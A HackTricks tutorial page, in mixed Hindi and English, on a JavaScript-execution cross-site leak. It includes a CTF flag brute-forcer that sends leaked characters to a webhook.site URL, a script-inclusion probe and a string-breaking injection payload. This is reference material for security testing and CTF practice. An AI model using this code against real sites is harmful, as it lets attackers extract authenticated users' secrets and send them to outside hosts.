JavaScript Execution XS Leak

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

यह XS-Search primitive यह बदल देता है कि क्या cross-origin response JavaScript के रूप में execute होता है एक Boolean oracle में।

सामान्य setup यह है:

  • Positive state: target attacker-controlled text या sensitive content लौटाता है जो attacker JavaScript के रूप में execute नहीं होता।
  • Negative state: target attacker-controlled text को ऐसी जगह reflect करता है जिसे valid JavaScript के रूप में parse किया जाता है, ताकि attacker window.parent.foo() जैसा callback force कर सके।
  • Leak: target को classic <script src> के साथ load करें और observe करें कि callback fire होता है या नहीं।

यह मूल रूप से एक execution oracle है, timing oracle नहीं। attacker को बस एक cross-origin script inclusion चाहिए जो secret-dependent branch के आधार पर अलग तरह से behave करे।

Generic XS-Leaks background के लिए, देखें:

HackTricks

When This Works

यह technique तब practical है जब नीचे दी गई सभी बातें true हों:

  • victim target origin पर authenticated हो।
  • attacker victim browser से target origin से एक classic script request करा सके।
  • एक branch ऐसा content लौटाए जो valid attacker-controlled JavaScript हो।
  • दूसरी branch ऐसा content लौटाए जो attacker callback execute नहीं करे।

Practice में, सबसे आसान cases वे search/debug endpoints हैं जो:

  • guess गलत होने पर attacker-controlled text लौटाते हैं
  • guess सही होने पर अलग body लौटाते हैं
  • attacker को callback, hint, msg, या reflected prefix/suffix जैसा parameter चुनने देते हैं

Basic Example

Server-side code जो ${guess} को flag prefix के रूप में try करेगा:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

मुख्य पेज जो पिछले /guessing पेज पर iframes जनरेट करता है ताकि हर possibility को test किया जा सके:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

हमलावर की logic है:

  1. हर candidate को “good” के रूप में शुरू करें।
  2. target response को एक script के रूप में load करें।
  3. अगर response window.parent.foo() execute करता है, तो candidate को wrong mark करें।
  4. अगर कोई callback fire नहीं होता, तो candidate को keep करें और brute-forcing जारी रखें।

Minimal Probe Pattern

कई real targets में, iframe की आवश्यकता नहीं होती। एक direct script inclusion पर्याप्त है:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

यदि “wrong guess” शाखा miss() को दर्शाती है, तो:

  • probe(...) === false का मतलब है कि callback execute हुआ या load fail हुआ
  • probe(...) === true का मतलब है कि script attacker callback चलाए बिना load हुई

Reliability के लिए, हर probe के लिए एक fresh script element इस्तेमाल करें और एक cache-buster जोड़ें जैसे ?r=${crypto.randomUUID()}

Modern Caveats

यह एक classic script होना चाहिए

यह primitive इस बात पर निर्भर करता है कि browser resource को classic script के रूप में fetch करे। crossorigin के बिना एक साधारण <script src=...> no-cors mode में fetch होता है, और यही कारण है कि यह पुराना pattern cross-origin पर अभी भी useful है।

इस technique के लिए type="module" पर switch न करें:

  • cross-origin module scripts require CORS
  • कई targets जो classic scripts के रूप में includable हैं, module के रूप में simply fail कर देंगे

MIME type और nosniff तय करते हैं कि payload execute होगा या नहीं

Current browsers पुराने writeups की तुलना में अधिक strict हैं। यदि target X-Content-Type-Options: nosniff set करता है, तो browser उस script response को block कर देगा जिसका MIME type JavaScript MIME type नहीं है।

इसका मतलब है कि यह oracle अक्सर इस पर निर्भर करता है:

  • target application/javascript / text/javascript लौटाता है या नहीं
  • target text/plain, text/html, या JSON लौटाता है या नहीं
  • nosniff present है या नहीं

इसी वजह से कुछ endpoints केवल एक branch में leak देते हैं: एक response script के रूप में accepted होता है, जबकि दूसरी branch block हो जाती है या अलग तरह से parse होती है।

CORB observable result बदल सकता है

CORB सोचने के लिए एक और branch जोड़ता है। यदि किसी response को CORB-protected माना जाता है, तो Chromium उसे parse failure दिखाने के बजाय एक empty valid script response में बदल सकता है। इसलिए कुछ endpoints के लिए:

  • एक state normal script parse / callback trigger करती है
  • दूसरी state empty script बन जाती है और केवल onload fire होता है

यह फिर भी एक useful oracle है, लेकिन signal अब callback vs no callback या onload vs onerror है, न कि सिर्फ “JavaScript executed or not”।

CSP attacker-controlled branch को kill कर सकता है

target response पर strict CSP इस primitive को तोड़ सकता है जब reflected branch अब executable JavaScript नहीं रहती। 2022 से 2024 तक के public XS-Leak challenge writeups बार-बार इस detail पर निर्भर करते हैं:

  • script-src 'none' attackers को direct execution oracle से हटकर pivot करने पर मजबूर कर सकता है
  • CSP/SRI/CSP-report interactions अभी भी other leak oracles बना सकते हैं, लेकिन वे अलग pages/techniques से संबंधित हैं

इसलिए जब obvious callback trick काम न करे, endpoint को discard करने से पहले response headers inspect करें।

Useful Variants

Callback-parameter endpoints

सबसे convenient target एक JSONP-style या debug endpoint है जो ऐसा parameter accept करता है जैसे:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

यदि “miss” branch उस value को verbatim executable JavaScript में reflect करती है जबकि “hit” branch अलग content लौटाती है, तो बिना timing measurement के आपको direct Boolean oracle मिल जाता है।

Syntax-preserving prefixes and suffixes

कभी-कभी आप response body को पूरी तरह control नहीं कर सकते, लेकिन फिर भी negative branch को execute करा सकते हैं:

  • current string या function argument को close करें
  • callback inject करें
  • trailing bytes को comment out करें

उदाहरण के लिए, एक reflected branch जैसे:

showResult("<attacker>");

अक्सर बदला जा सकता है:

showResult("");window.parent.foo();//");

यदि positive branch उस payload को reflect नहीं करता, तो callback oracle बन जाता है।

event-based oracles के साथ combining

यदि endpoint browsers के बीच unstable है, तो execution oracle को generic script load events के साथ mix करें, जो section index में पहले ही covered हैं:

  • callback fired
  • onload
  • onerror

यह खास तौर पर useful है जब एक branch valid JavaScript देती है और दूसरी branch blocked MIME / CORB / CSP behavior देती है।

Related pages:

Practical Notes

  • प्रति request one bit prefer करें और callback side effect को simple रखें।
  • यदि आप कई candidates probe करते हैं, तो पहले से inserted <script> elements remove करें या हर attempt को fresh iframe में isolate करें।
  • Cache और service worker behavior oracle को poison कर सकते हैं; इसलिए cache-busting उपयोग करें।
  • यह primitive तब सबसे strong होता है जब negative branch fully attacker-controlled JavaScript हो। यदि आपको केवल partial reflection मिलती है, तो exploit एक payload-shaping problem बन जाता है, XS-Search problem नहीं।

References

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें